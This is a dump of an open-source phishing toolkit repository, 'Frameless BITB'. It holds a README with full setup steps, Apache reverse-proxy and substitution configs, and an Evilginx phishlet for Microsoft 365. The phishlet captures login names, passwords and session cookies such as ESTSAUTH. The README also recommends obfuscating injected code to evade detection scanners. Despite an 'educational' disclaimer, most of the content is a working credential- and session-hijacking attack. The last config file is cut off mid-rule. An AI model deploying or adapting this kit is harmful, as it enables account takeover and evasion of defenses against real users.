├── .gitattributes ├── 000-default.conf ├── LICENSE ├── O365.yaml ├── README.md ├── apache-configs ├── mac-chrome-bitb.conf └── win-chrome-bitb.conf ├── custom-subs ├── mac-chrome.conf └── win-chrome.conf ├── demo-obfuscator.html ├── openssl-local.cnf └── pages ├── home ├── images │ ├── email-header.png │ ├── favicon.ico │ ├── logo.png │ ├── logo.svg │ ├── techLeft.svg │ └── techRight.svg ├── index.html ├── script.js └── style.css ├── primary ├── images │ ├── favicon.ico │ ├── logo.png │ ├── logo.svg │ └── msf.svg ├── index.html ├── script.js └── styles.css └── secondary ├── images ├── arrow-right.svg ├── close.svg ├── cookies.svg ├── exit.svg ├── favicon.ico ├── logo.svg ├── maximize.svg ├── minimize.svg ├── new-tab.svg ├── settings.svg └── ssl.svg ├── mac-chrome.css ├── script.js └── win-chrome.css /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /000-default.conf: -------------------------------------------------------------------------------- 1 | 2 | # LOCATION: /etc/apache2/sites-available/000-default.conf 3 | 4 | Define certsPathDir /etc/ssl/localcerts/ 5 | Define domain fake.com 6 | 7 | 8 | 9 | ServerName subdomains.${domain} 10 | ServerAlias *.${domain} 11 | SSLEngine on 12 | SSLProxyEngine On 13 | SSLProxyVerify none 14 | SSLProxyCheckPeerCN off 15 | SSLProxyCheckPeerName off 16 | SSLProxyCheckPeerExpire off 17 | SSLCertificateFile ${certsPathDir}${domain}/fullchain.pem 18 | SSLCertificateKeyFile ${certsPathDir}${domain}/privkey.pem 19 | ProxyPreserveHost On 20 | 21 | 22 | 23 | Alias /primary /var/www/primary 24 | 25 | Options Indexes FollowSymLinks 26 | AllowOverride None 27 | Require all granted 28 | 29 | 30 | ProxyPass /primary ! 31 | 32 | 33 | Alias /secondary /var/www/secondary 34 | 35 | Options Indexes FollowSymLinks 36 | AllowOverride None 37 | Require all granted 38 | 39 | 40 | ProxyPass /secondary ! 41 | 42 | ProxyPass / https://127.0.0.1:8443/ 43 | ProxyPassReverse / https://127.0.0.1:8443/ 44 | 45 | 46 | # Enable output buffering and content substitution 47 | SetOutputFilter INFLATE;SUBSTITUTE;DEFLATE 48 | 49 | 50 | # Substitutions (excluding /primary, /secondary, and /) 51 | 52 | # Uncomment the one you want and remeber to restart apache after any changes: 53 | Include /etc/apache2/custom-subs/win-chrome.conf 54 | # Include /etc/apache2/custom-subs/mac-chrome.conf 55 | 56 | 57 | # Substitutions only for base URL, only apply subs on /?auth=2 58 | 59 | 60 | # Uncomment the one you want and remeber to restart apache after any changes: 61 | Include /etc/apache2/custom-subs/win-chrome.conf 62 | # Include /etc/apache2/custom-subs/mac-chrome.conf 63 | 64 | 65 | 66 | # Caching behavior (helps make the BITB effect way smoother between redirects) 67 | 68 | 69 | Header set Cache-Control "max-age=3600, public" 70 | 71 | 72 | 73 | 74 | 75 | ErrorLog ${APACHE_LOG_DIR}/error.log 76 | CustomLog ${APACHE_LOG_DIR}/access_evilginx3.log "%h \"%r\" \"%{Referer}i\" \"%{User-Agent}i\"" 77 | 78 | 79 | 80 | 81 | 82 | # Handle Base Domain separately 83 | 84 | ServerName ${domain} 85 | SSLEngine on 86 | SSLProxyEngine On 87 | SSLProxyVerify none 88 | SSLProxyCheckPeerCN off 89 | SSLProxyCheckPeerName off 90 | SSLProxyCheckPeerExpire off 91 | SSLCertificateFile ${certsPathDir}${domain}/fullchain.pem 92 | SSLCertificateKeyFile ${certsPathDir}${domain}/privkey.pem 93 | ProxyPreserveHost On 94 | 95 | DocumentRoot /var/www/home 96 | 97 | 98 | Options Indexes FollowSymLinks 99 | AllowOverride None 100 | Require all granted 101 | 102 | 103 | ErrorLog ${APACHE_LOG_DIR}/error.log 104 | CustomLog ${APACHE_LOG_DIR}/access_evilginx3.log "%h \"%r\" \"%{Referer}i\" \"%{User-Agent}i\"" 105 | 106 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2024, Wael Al Masri 4 | 5 | Redistribution and use in source and binary forms, with or without 6 | modification, are permitted provided that the following conditions are met: 7 | 8 | 1. Redistributions of source code must retain the above copyright notice, this 9 | list of conditions and the following disclaimer. 10 | 11 | 2. Redistributions in binary form must reproduce the above copyright notice, 12 | this list of conditions and the following disclaimer in the documentation 13 | and/or other materials provided with the distribution. 14 | 15 | 3. Neither the name of the copyright holder nor the names of its 16 | contributors may be used to endorse or promote products derived from 17 | this software without specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 20 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 21 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 22 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 23 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 24 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 25 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 26 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 27 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 28 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 29 | -------------------------------------------------------------------------------- /O365.yaml: -------------------------------------------------------------------------------- 1 | name: 'Microsoft 365 - Enterprise - V1' 2 | author: '@waelmas' 3 | min_ver: '3.2.0' 4 | proxy_hosts: 5 | - {phish_sub: 'login', orig_sub: 'login', domain: 'microsoftonline.com', session: true, is_landing: true} 6 | - {phish_sub: 'account', orig_sub: 'account', domain: 'microsoftonline.com', session: false, is_landing: false} 7 | - {phish_sub: 'www', orig_sub: 'www', domain: 'office.com', session: true, is_landing: false} 8 | - {phish_sub: 'sso', orig_sub: 'login', domain: 'live.com', session: true, is_landing: false} 9 | - {phish_sub: 'portal', orig_sub: 'portal', domain: 'microsoftonline.com', session: false, is_landing: false} 10 | auth_tokens: 11 | - domain: '.login.microsoftonline.com' 12 | keys: ['ESTSAUTH' , 'ESTSAUTHPERSISTENT' , 'SignInStateCookie'] 13 | type: 'cookie' 14 | credentials: 15 | username: 16 | key: 'login' 17 | search: '(.*)' 18 | type: 'post' 19 | password: 20 | key: 'passwd' 21 | search: '(.*)' 22 | type: 'post' 23 | login: 24 | domain: 'login.microsoftonline.com' 25 | path: '/?auth=2' -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Frameless BITB 2 | 3 | A new approach to Browser In The Browser (BITB) without the use of iframes, allowing the bypass of traditional framebusters implemented by login pages like Microsoft. 4 | 5 | This POC code is built for using this new BITB with Evilginx, and a Microsoft Enterprise phishlet. 6 | 7 | 8 | ![Frameless-BITB-DEMO-compressed](https://github.com/waelmas/frameless-bitb/assets/43114112/4b4fbc89-526b-4982-b5e1-a8faf9754977) 9 | 10 | 11 | Before diving deep into this, I recommend that you first check my talk at BSides 2023, where I first introduced this concept along with important details on how to craft the "perfect" phishing attack. [▶ Watch Video](https://www.youtube.com/watch?v=p1opa2wnRvg) 12 | 13 | ☕︎ [Buy Me A Coffee](https://www.buymeacoffee.com/waelmas) 14 | 15 | [**Video Tutorial:** 👇](#video-tutorial) 16 | 17 | # Disclaimer 18 | 19 | This tool is for educational and research purposes only. It demonstrates a non-iframe based Browser In The Browser (BITB) method. The author is not responsible for any misuse. Use this tool only legally and ethically, in controlled environments for cybersecurity defense testing. By using this tool, you agree to do so responsibly and at your own risk. 20 | 21 | 22 | # Backstory - The Why 23 | 24 | Over the past year, I've been experimenting with different tricks to craft the "perfect" phishing attack. 25 | The typical "red flags" people are trained to look for are things like urgency, threats, authority, poor grammar, etc. 26 | The next best thing people nowadays check is the link/URL of the website they are interacting with, and they tend to get very conscious the moment they are asked to enter sensitive credentials like emails and passwords. 27 | 28 | That's where Browser In The Browser (BITB) came into play. Originally introduced by @mrd0x, BITB is a concept of creating the appearance of a believable browser window inside of which the attacker controls the content (by serving the malicious website inside an iframe). However, the fake URL bar of the fake browser window is set to the legitimate site the user would expect. This combined with a tool like Evilginx becomes the perfect recipe for a believable phishing attack. 29 | 30 | The problem is that over the past months/years, major websites like Microsoft implemented various little tricks called "framebusters/framekillers" which mainly attempt to break iframes that might be used to serve the proxied website like in the case of Evilginx. 31 | 32 | In short, Evilginx + BITB for websites like Microsoft no longer works. At least not with a BITB that relies on iframes. 33 | 34 | 35 | # The What 36 | 37 | A Browser In The Browser (BITB) without any iframes! As simple as that. 38 | 39 | Meaning that we can now use BITB with Evilginx on websites like Microsoft. 40 | 41 | Evilginx here is just a strong example, but the same concept can be used for other use-cases as well. 42 | 43 | 44 | # The How 45 | 46 | Framebusters target iframes specifically, so the idea is to create the BITB effect without the use of iframes, and without disrupting the original structure/content of the proxied page. 47 | This can be achieved by injecting scripts and HTML besides the original content using search and replace (aka substitutions), then relying completely on HTML/CSS/JS tricks to make the visual effect. 48 | We also use an additional trick called "Shadow DOM" in HTML to place the content of the landing page (background) in such a way that it does not interfere with the proxied content, allowing us to flexibly use any landing page with minor additional JS scripts. 49 | 50 | 51 | # Instructions 52 | 53 | ## Video Tutorial 54 | 55 | [![Thumbnail with YouTube Player](https://github.com/waelmas/frameless-bitb/assets/43114112/5ebadac3-6998-4349-9c90-c1c5293ac6b6)](https://youtu.be/luJjxpEwVHI) 56 | 57 | 58 | https://youtu.be/luJjxpEwVHI 59 | 60 | ## Local VM: 61 | Create a local Linux VM. (I personally use Ubuntu 22 on VMWare Player or Parallels Desktop) 62 | 63 | Update and Upgrade system packages: 64 | 65 | ``` 66 | sudo apt update && sudo apt upgrade -y 67 | ``` 68 | 69 | 70 | 71 | 72 | ## Evilginx Setup: 73 | 74 | 75 | #### Optional: 76 | Create a new evilginx user, and add user to sudo group: 77 | 78 | `sudo su` 79 | 80 | `adduser evilginx` 81 | 82 | `usermod -aG sudo evilginx` 83 | 84 | 85 | Test that evilginx user is in sudo group: 86 | 87 | `su - evilginx` 88 | 89 | `sudo ls -la /root` 90 | 91 | Navigate to users home dir: 92 | 93 | `cd /home/evilginx` 94 | 95 | (You can do everything as sudo user as well since we're running everything locally) 96 | 97 | 98 | #### Setting Up Evilginx 99 | 100 | 101 | Download and build Evilginx: [Official Docs](https://help.evilginx.com/docs/intro) 102 | 103 | 104 | Copy Evilginx files to `/home/evilginx` 105 | 106 | 107 | 108 | Install Go: [Official Docs](https://go.dev/doc/install) 109 | 110 | ``` 111 | wget https://go.dev/dl/go1.21.4.linux-amd64.tar.gz 112 | ``` 113 | 114 | ``` 115 | sudo tar -C /usr/local -xzf go1.21.4.linux-amd64.tar.gz 116 | ``` 117 | 118 | ``` 119 | nano ~/.profile 120 | ``` 121 | 122 | ADD: `export PATH=$PATH:/usr/local/go/bin` 123 | 124 | ``` 125 | source ~/.profile 126 | ``` 127 | 128 | Check: 129 | ``` 130 | go version 131 | ``` 132 | 133 | Install make: 134 | 135 | ``` 136 | sudo apt install make 137 | ``` 138 | 139 | Build Evilginx: 140 | 141 | ``` 142 | cd /home/evilginx/evilginx2 143 | ``` 144 | 145 | ``` 146 | make 147 | ``` 148 | 149 | 150 | Create a new directory for our evilginx build along with phishlets and redirectors: 151 | 152 | ``` 153 | mkdir /home/evilginx/evilginx 154 | ``` 155 | 156 | 157 | Copy build, phishlets, and redirectors: 158 | 159 | ``` 160 | cp /home/evilginx/evilginx2/build/evilginx /home/evilginx/evilginx/evilginx 161 | 162 | cp -r /home/evilginx/evilginx2/redirectors /home/evilginx/evilginx/redirectors 163 | 164 | cp -r /home/evilginx/evilginx2/phishlets /home/evilginx/evilginx/phishlets 165 | ``` 166 | 167 | 168 | 169 | 170 | Ubuntu firewall quick fix (thanks to @kgretzky) 171 | 172 | ``` 173 | sudo setcap CAP_NET_BIND_SERVICE=+eip /home/evilginx/evilginx/evilginx 174 | ``` 175 | 176 | 177 | 178 | 179 | 180 | On Ubuntu, if you get `Failed to start nameserver on: :53` error, try modifying this file 181 | 182 | ``` 183 | sudo nano /etc/systemd/resolved.conf 184 | ``` 185 | 186 | edit/add the `DNSStubListener` to `no` > `DNSStubListener=no` 187 | 188 | then 189 | ``` 190 | sudo systemctl restart systemd-resolved 191 | ``` 192 | 193 | 194 | 195 | 196 | 197 | ## Modify Evilginx Configurations: 198 | 199 | 200 | Since we will be using Apache2 in front of Evilginx, we need to make Evilginx listen to a different port than 443. 201 | 202 | ``` 203 | nano ~/.evilginx/config.json 204 | ``` 205 | 206 | CHANGE `https_port` from `443` to `8443` 207 | 208 | 209 | 210 | ## Install Apache2 and Enable Mods: 211 | 212 | Install Apache2: 213 | 214 | ``` 215 | sudo apt install apache2 -y 216 | ``` 217 | 218 | 219 | Enable Apache2 mods that will be used: 220 | (We are also disabling access_compat module as it sometimes causes issues) 221 | 222 | ``` 223 | sudo a2enmod proxy 224 | sudo a2enmod proxy_http 225 | sudo a2enmod proxy_balancer 226 | sudo a2enmod lbmethod_byrequests 227 | sudo a2enmod env 228 | sudo a2enmod include 229 | sudo a2enmod setenvif 230 | sudo a2enmod ssl 231 | sudo a2ensite default-ssl 232 | sudo a2enmod cache 233 | sudo a2enmod substitute 234 | sudo a2enmod headers 235 | sudo a2enmod rewrite 236 | sudo a2dismod access_compat 237 | ``` 238 | 239 | Start and enable Apache: 240 | 241 | ``` 242 | sudo systemctl start apache2 243 | ``` 244 | 245 | ``` 246 | sudo systemctl enable apache2 247 | ``` 248 | 249 | Try if Apache and VM networking works by visiting the VM's IP from a browser on the host machine. 250 | 251 | 252 | 253 | 254 | 255 | ## Clone this Repo: 256 | 257 | Install git if not already available: 258 | 259 | ``` 260 | sudo apt -y install git 261 | ``` 262 | 263 | Clone this repo: 264 | 265 | ``` 266 | git clone https://github.com/waelmas/frameless-bitb 267 | ``` 268 | 269 | ``` 270 | cd frameless-bitb 271 | ``` 272 | 273 | 274 | 275 | 276 | ## Apache Custom Pages: 277 | 278 | 279 | Make directories for the pages we will be serving: 280 | 281 | - home: (Optional) Homepage (at base domain) 282 | - primary: Landing page (background) 283 | - secondary: BITB Window (foreground) 284 | 285 | 286 | ``` 287 | sudo mkdir /var/www/home 288 | sudo mkdir /var/www/primary 289 | sudo mkdir /var/www/secondary 290 | ``` 291 | 292 | 293 | Copy the directories for each page: 294 | 295 | ``` 296 | 297 | sudo cp -r ./pages/home/ /var/www/ 298 | 299 | sudo cp -r ./pages/primary/ /var/www/ 300 | 301 | sudo cp -r ./pages/secondary/ /var/www/ 302 | 303 | ``` 304 | 305 | Optional: Remove the default Apache page (not used): 306 | 307 | ``` 308 | sudo rm -r /var/www/html/ 309 | ``` 310 | 311 | 312 | Copy the O365 phishlet to phishlets directory: 313 | 314 | ``` 315 | sudo cp ./O365.yaml /home/evilginx/evilginx/phishlets/O365.yaml 316 | ``` 317 | 318 | 319 | 320 | **Optional:** To set the Calendly widget to use your account instead of the default I have inside, go to `pages/primary/script.js` and change the `CALENDLY_PAGE_NAME` and `CALENDLY_EVENT_TYPE`. 321 | 322 | **Note on Demo Obfuscation:** As I explain in the walkthrough video, I included a minimal obfuscation for text content like URLs and titles of the BITB. You can open the demo obfuscator by opening `demo-obfuscator.html` in your browser. 323 | In a real-world scenario, I would highly recommend that you obfuscate larger chunks of the HTML code injected or use JS tricks to avoid being detected and flagged. The advanced version I am working on will use a combination of advanced tricks to make it nearly impossible for scanners to fingerprint/detect the BITB code, so stay tuned. 324 | 325 | 326 | 327 | 328 | ## Self-signed SSL certificates: 329 | 330 | Since we are running everything locally, we need to generate self-signed SSL certificates that will be used by Apache. Evilginx will not need the certs as we will be running it in developer mode. 331 | 332 | 333 | We will use the domain `fake.com` which will point to our local VM. If you want to use a different domain, make sure to change the domain in all files (Apache conf files, JS files, etc.) 334 | 335 | 336 | Create dir and parents if they do not exist: 337 | 338 | ``` 339 | sudo mkdir -p /etc/ssl/localcerts/fake.com/ 340 | ``` 341 | 342 | 343 | Generate the SSL certs using the OpenSSL config file: 344 | 345 | ``` 346 | sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ 347 | -keyout /etc/ssl/localcerts/fake.com/privkey.pem -out /etc/ssl/localcerts/fake.com/fullchain.pem \ 348 | -config openssl-local.cnf 349 | ``` 350 | 351 | Modify private key permissions: 352 | 353 | ``` 354 | sudo chmod 600 /etc/ssl/localcerts/fake.com/privkey.pem 355 | ``` 356 | 357 | 358 | 359 | 360 | ## Apache Custom Configs: 361 | 362 | Copy custom substitution files (the core of our approach): 363 | 364 | ``` 365 | sudo cp -r ./custom-subs /etc/apache2/custom-subs 366 | ``` 367 | 368 | 369 | **Important Note:** In this repo I have included 2 substitution configs for Chrome on Mac and Chrome on Windows BITB. Both have auto-detection and styling for light/dark mode and they should act as base templates to achieve the same for other browser/OS combos. 370 | Since I did not include automatic detection of the browser/OS combo used to visit our phishing page, you will have to use one of two or implement your own logic for automatic switching. 371 | 372 | Both config files under `/apache-configs/` are the same, only with a different Include directive used for the substitution file that will be included. (there are 2 references for each file) 373 | 374 | ``` 375 | # Uncomment the one you want and remember to restart Apache after any changes: 376 | #Include /etc/apache2/custom-subs/win-chrome.conf 377 | Include /etc/apache2/custom-subs/mac-chrome.conf 378 | ``` 379 | 380 | 381 | 382 | Simply to make it easier, I included both versions as separate files for this next step. 383 | 384 | 385 | **Windows/Chrome** BITB: 386 | 387 | ``` 388 | sudo cp ./apache-configs/win-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf 389 | ``` 390 | 391 | **Mac/Chrome** BITB: 392 | 393 | ``` 394 | sudo cp ./apache-configs/mac-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf 395 | ``` 396 | 397 | 398 | 399 | 400 | Test Apache configs to ensure there are no errors: 401 | 402 | ``` 403 | sudo apache2ctl configtest 404 | ``` 405 | 406 | Restart Apache to apply changes: 407 | 408 | ``` 409 | sudo systemctl restart apache2 410 | ``` 411 | 412 | 413 | 414 | 415 | ## Modifying Hosts: 416 | 417 | 418 | Get the IP of the VM using `ifconfig` and note it somewhere for the next step. 419 | 420 | We now need to add new entries to our hosts file, to point the domain used in this demo `fake.com` and all used subdomains to our VM on which Apache and Evilginx are running. 421 | 422 | 423 | 424 | **On Windows:** 425 | 426 | Open Notepad as Administrator (Search > Notepad > Right-Click > Run as Administrator) 427 | 428 | Click on the File option (top-left) and in the File Explorer address bar, copy and paste the following: 429 | 430 | `C:\Windows\System32\drivers\etc\` 431 | 432 | Change the file types (bottom-right) to "All files". 433 | 434 | Double-click the file named `hosts` 435 | 436 | 437 | 438 | 439 | **On Mac:** 440 | 441 | Open a terminal and run the following: 442 | 443 | ``` 444 | sudo nano /private/etc/hosts 445 | ``` 446 | 447 | 448 | 449 | 450 | Now modify the following records (replace `[IP]` with the IP of your VM) then paste the records at the end of the hosts file: 451 | 452 | ``` 453 | # Local Apache and Evilginx Setup 454 | [IP] login.fake.com 455 | [IP] account.fake.com 456 | [IP] sso.fake.com 457 | [IP] www.fake.com 458 | [IP] portal.fake.com 459 | [IP] fake.com 460 | # End of section 461 | ``` 462 | 463 | Save and exit. 464 | 465 | Now restart your browser before moving to the next step. 466 | 467 | 468 | **Note:** On Mac, use the following command to flush the DNS cache: 469 | 470 | `sudo dscacheutil -flushcache; sudo killall -HUP mDNSResponder` 471 | 472 | 473 | #### Important Note: 474 | This demo is made with the provided Office 365 Enterprise phishlet. To get the host entries you need to add for a different phishlet, use `phishlet get-hosts [PHISHLET_NAME]` but remember to replace the `127.0.0.1` with the actual local IP of your VM. 475 | 476 | 477 | 478 | 479 | 480 | 481 | ## Trusting the Self-Signed SSL Certs: 482 | 483 | 484 | Since we are using self-signed SSL certificates, our browser will warn us every time we try to visit `fake.com` so we need to make our host machine trust the certificate authority that signed the SSL certs. 485 | 486 | For this step, it's easier to follow the video instructions, but here is the gist anyway. 487 | 488 | 489 | 490 | Open [https://fake.com/](https://fake.com/) in your Chrome browser. 491 | 492 | Ignore the Unsafe Site warning and proceed to the page. 493 | 494 | 495 | Click the SSL icon > Details > Export Certificate 496 | **IMPORTANT:** When saving, the name MUST end with .crt for Windows to open it correctly. 497 | 498 | Double-click it > install for current user. Do NOT select automatic, instead place the certificate in specific store: select "Trusted Route Certification Authorities". 499 | 500 | 501 | 502 | **On Mac:** to install for current user only > select "Keychain: login" **AND** click on "View Certificates" > details > trust > Always trust 503 | 504 | 505 | 506 | **Now RESTART your Browser** 507 | 508 | You should be able to visit `https://fake.com` now and see the homepage without any SSL warnings. 509 | 510 | 511 | 512 | 513 | 514 | 515 | ## Running Evilginx: 516 | 517 | 518 | At this point, everything should be ready so we can go ahead and start Evilginx, set up the phishlet, create our lure, and test it. 519 | 520 | Optional: Install tmux (to keep evilginx running even if the terminal session is closed. Mainly useful when running on remote VM.) 521 | 522 | ``` 523 | sudo apt install tmux -y 524 | ``` 525 | 526 | Start Evilginx in developer mode (using tmux to avoid losing the session): 527 | 528 | ``` 529 | tmux new-session -s evilginx 530 | ``` 531 | 532 | ``` 533 | cd ~/evilginx/ 534 | ``` 535 | 536 | ``` 537 | ./evilginx -developer 538 | ``` 539 | 540 | (To re-attach to the tmux session use `tmux attach-session -t evilginx`) 541 | 542 | 543 | Evilginx Config: 544 | 545 | ``` 546 | config domain fake.com 547 | ``` 548 | 549 | ``` 550 | config ipv4 127.0.0.1 551 | ``` 552 | 553 | 554 | **IMPORTANT:** Set Evilginx Blacklist mode to NoAdd to avoid blacklisting Apache since all requests will be coming from Apache and not the actual visitor IP. 555 | 556 | ``` 557 | blacklist noadd 558 | ``` 559 | 560 | 561 | 562 | Setup Phishlet and Lure: 563 | 564 | ``` 565 | phishlets hostname O365 fake.com 566 | ``` 567 | 568 | ``` 569 | phishlets enable O365 570 | ``` 571 | 572 | ``` 573 | lures create O365 574 | ``` 575 | 576 | ``` 577 | lures get-url 0 578 | ``` 579 | 580 | 581 | Copy the lure URL and visit it from your browser (use Guest user on Chrome to avoid having to delete all saved/cached data between tests). 582 | 583 | 584 | 585 | # Useful Resources 586 | 587 | 588 | Original iframe-based BITB by @mrd0x: 589 | [https://github.com/mrd0x/BITB](https://github.com/mrd0x/BITB) 590 | 591 | Evilginx Mastery Course by the creator of Evilginx @kgretzky: 592 | [https://academy.breakdev.org/evilginx-mastery](https://academy.breakdev.org/evilginx-mastery) 593 | 594 | My talk at BSides 2023: 595 | [https://www.youtube.com/watch?v=p1opa2wnRvg](https://www.youtube.com/watch?v=p1opa2wnRvg) 596 | 597 | How to protect Evilginx using Cloudflare and HTML Obfuscation: 598 | [https://www.jackphilipbutton.com/post/how-to-protect-evilginx-using-cloudflare-and-html-obfuscation](https://www.jackphilipbutton.com/post/how-to-protect-evilginx-using-cloudflare-and-html-obfuscation) 599 | 600 | Evilginx resources for Microsoft 365 by @BakkerJan: 601 | [https://janbakker.tech/evilginx-resources-for-microsoft-365/](https://janbakker.tech/evilginx-resources-for-microsoft-365/) 602 | 603 | 604 | # TODO 605 | 606 | - Create script(s) to automate most of the steps 607 | -------------------------------------------------------------------------------- /apache-configs/mac-chrome-bitb.conf: -------------------------------------------------------------------------------- 1 | 2 | # LOCATION: /etc/apache2/sites-available/000-default.conf 3 | 4 | Define certsPathDir /etc/ssl/localcerts/ 5 | Define domain fake.com 6 | 7 | 8 | 9 | ServerName subdomains.${domain} 10 | ServerAlias *.${domain} 11 | SSLEngine on 12 | SSLProxyEngine On 13 | SSLProxyVerify none 14 | SSLProxyCheckPeerCN off 15 | SSLProxyCheckPeerName off 16 | SSLProxyCheckPeerExpire off 17 | SSLCertificateFile ${certsPathDir}${domain}/fullchain.pem 18 | SSLCertificateKeyFile ${certsPathDir}${domain}/privkey.pem 19 | ProxyPreserveHost On 20 | 21 | 22 | 23 | Alias /primary /var/www/primary 24 | 25 | Options Indexes FollowSymLinks 26 | AllowOverride None 27 | Require all granted 28 | 29 | 30 | ProxyPass /primary ! 31 | 32 | 33 | Alias /secondary /var/www/secondary 34 | 35 | Options Indexes FollowSymLinks 36 | AllowOverride None 37 | Require all granted 38 | 39 | 40 | ProxyPass /secondary ! 41 | 42 | ProxyPass / https://127.0.0.1:8443/ 43 | ProxyPassReverse / https://127.0.0.1:8443/ 44 | 45 | 46 | # Enable output buffering and content substitution 47 | SetOutputFilter INFLATE;SUBSTITUTE;DEFLATE 48 | 49 | 50 | # Substitutions (excluding /primary, /secondary, and /) 51 | 52 | # Uncomment the one you want and remeber to restart apache after any changes: 53 | # Include /etc/apache2/custom-subs/win-chrome.conf 54 | Include /etc/apache2/custom-subs/mac-chrome.conf 55 | 56 | 57 | # Substitutions only for base URL, only apply subs on /?auth=2 58 | 59 | 60 | # Uncomment the one you want and remeber to restart apache after any changes: 61 | # Include /etc/apache2/custom-subs/win-chrome.conf 62 | Include /etc/apache2/custom-subs/mac-chrome.conf 63 | 64 | 65 | 66 | # Caching behavior (helps make the BITB effect way smoother between redirects) 67 | 68 | 69 | Header set Cache-Control "max-age=3600, public" 70 | 71 | 72 | 73 | 74 | 75 | ErrorLog ${APACHE_LOG_DIR}/error.log 76 | CustomLog ${APACHE_LOG_DIR}/access_evilginx3.log "%h \"%r\" \"%{Referer}i\" \"%{User-Agent}i\"" 77 | 78 | 79 | 80 | 81 | 82 | # Handle Base Domain separately 83 | 84 | ServerName ${domain} 85 | SSLEngine on 86 | SSLProxyEngine On 87 | SSLProxyVerify none 88 | SSLProxyCheckPeerCN off 89 | SSLProxyCheckPeerName off 90 | SSLProxyCheckPeerExpire off 91 | SSLCertificateFile ${certsPathDir}${domain}/fullchain.pem 92 | SSLCertificateKeyFile ${certsPathDir}${domain}/privkey.pem 93 | ProxyPreserveHost On 94 | 95 | DocumentRoot /var/www/home 96 | 97 | 98 | Options Indexes FollowSymLinks 99 | AllowOverride None 100 | Require all granted 101 | 102 | 103 | ErrorLog ${APACHE_LOG_DIR}/error.log 104 | CustomLog ${APACHE_LOG_DIR}/access_evilginx3.log "%h \"%r\" \"%{Referer}i\" \"%{User-Agent}i\"" 105 | 106 | -------------------------------------------------------------------------------- /apache-configs/win-chrome-bitb.conf: -------------------------------------------------------------------------------- 1 | 2 | # LOCATION: /etc/apache2/sites-available/000-default.conf 3 | 4 | Define certsPathDir /etc/ssl/localcerts/ 5 | Define domain fake.com 6 | 7 | 8 | 9 | ServerName subdomains.${domain} 10 | ServerAlias *.${domain} 11 | SSLEngine on 12 | SSLProxyEngine On 13 | SSLProxyVerify none 14 | SSLProxyCheckPeerCN off 15 | SSLProxyCheckPeerName off 16 | SSLProxyCheckPeerExpire off 17 | SSLCertificateFile ${certsPathDir}${domain}/fullchain.pem 18 | SSLCertificateKeyFile ${certsPathDir}${domain}/privkey.pem 19 | ProxyPreserveHost On 20 | 21 | 22 | 23 | Alias /primary /var/www/primary 24 | 25 | Options Indexes FollowSymLinks 26 | AllowOverride None 27 | Require all granted 28 | 29 | 30 | ProxyPass /primary ! 31 | 32 | 33 | Alias /secondary /var/www/secondary 34 | 35 | Options Indexes FollowSymLinks 36 | AllowOverride None 37 | Require all granted 38 | 39 | 40 | ProxyPass /secondary ! 41 | 42 | ProxyPass / https://127.0.0.1:8443/ 43 | ProxyPassReverse / https://127.0.0.1:8443/ 44 | 45 | 46 | # Enable output buffering and content substitution 47 | SetOutputFilter INFLATE;SUBSTITUTE;DEFLATE 48 | 49 | 50 | # Substitutions (excluding /primary, /secondary, and /) 51 | 52 | # Uncomment the one you want and remeber to restart apache after any changes: 53 | Include /etc/apache2/custom-subs/win-chrome.conf 54 | # Include /etc/apache2/custom-subs/mac-chrome.conf 55 | 56 | 57 | # Substitutions only for base URL, only apply subs on /?auth=2 58 | 59 | 60 | # Uncomment the one you want and remeber to restart apache after any changes: 61 | Include /etc/apache2/custom-subs/win-chrome.conf 62 | # Include /etc/apache2/custom-subs/mac-chrome.conf 63 | 64 | 65 | 66 | # Caching behavior (helps make the BITB effect way smoother between redirects) 67 | 68 | 69 | Header set Cache-Control "max-age=3600, public" 70 | 71 | 72 | 73 | 74 | 75 | ErrorLog ${APACHE_LOG_DIR}/error.log 76 | CustomLog ${APACHE_LOG_DIR}/access_evilginx3.log "%h \"%r\" \"%{Referer}i\" \"%{User-Agent}i\"" 77 | 78 | 79 | 80 | 81 | 82 | # Handle Base Domain separately 83 | 84 | ServerName ${domain} 85 | SSLEngine on 86 | SSLProxyEngine On 87 | SSLProxyVerify none 88 | SSLProxyCheckPeerCN off 89 | SSLProxyCheckPeerName off 90 | SSLProxyCheckPeerExpire off 91 | SSLCertificateFile ${certsPathDir}${domain}/fullchain.pem 92 | SSLCertificateKeyFile ${certsPathDir}${domain}/privkey.pem 93 | ProxyPreserveHost On 94 | 95 | DocumentRoot /var/www/home 96 | 97 | 98 | Options Indexes FollowSymLinks 99 | AllowOverride None 100 | Require all granted 101 | 102 | 103 | ErrorLog ${APACHE_LOG_DIR}/error.log 104 | CustomLog ${APACHE_LOG_DIR}/access_evilginx3.log "%h \"%r\" \"%{Referer}i\" \"%{User-Agent}i\"" 105 | 106 | -------------------------------------------------------------------------------- /custom-subs/mac-chrome.conf: -------------------------------------------------------------------------------- 1 | 2 | # LOCATION: /etc/apache2/custom-subs/ 3 | 4 | SetEnvIf Request_URI ".*" ORIGINAL_CONTENT=$0 5 | 6 | # Inject JQuery, CSS, and JS 7 | Substitute "s|| \ 8 | \ 9 | |ni" 10 | 11 | 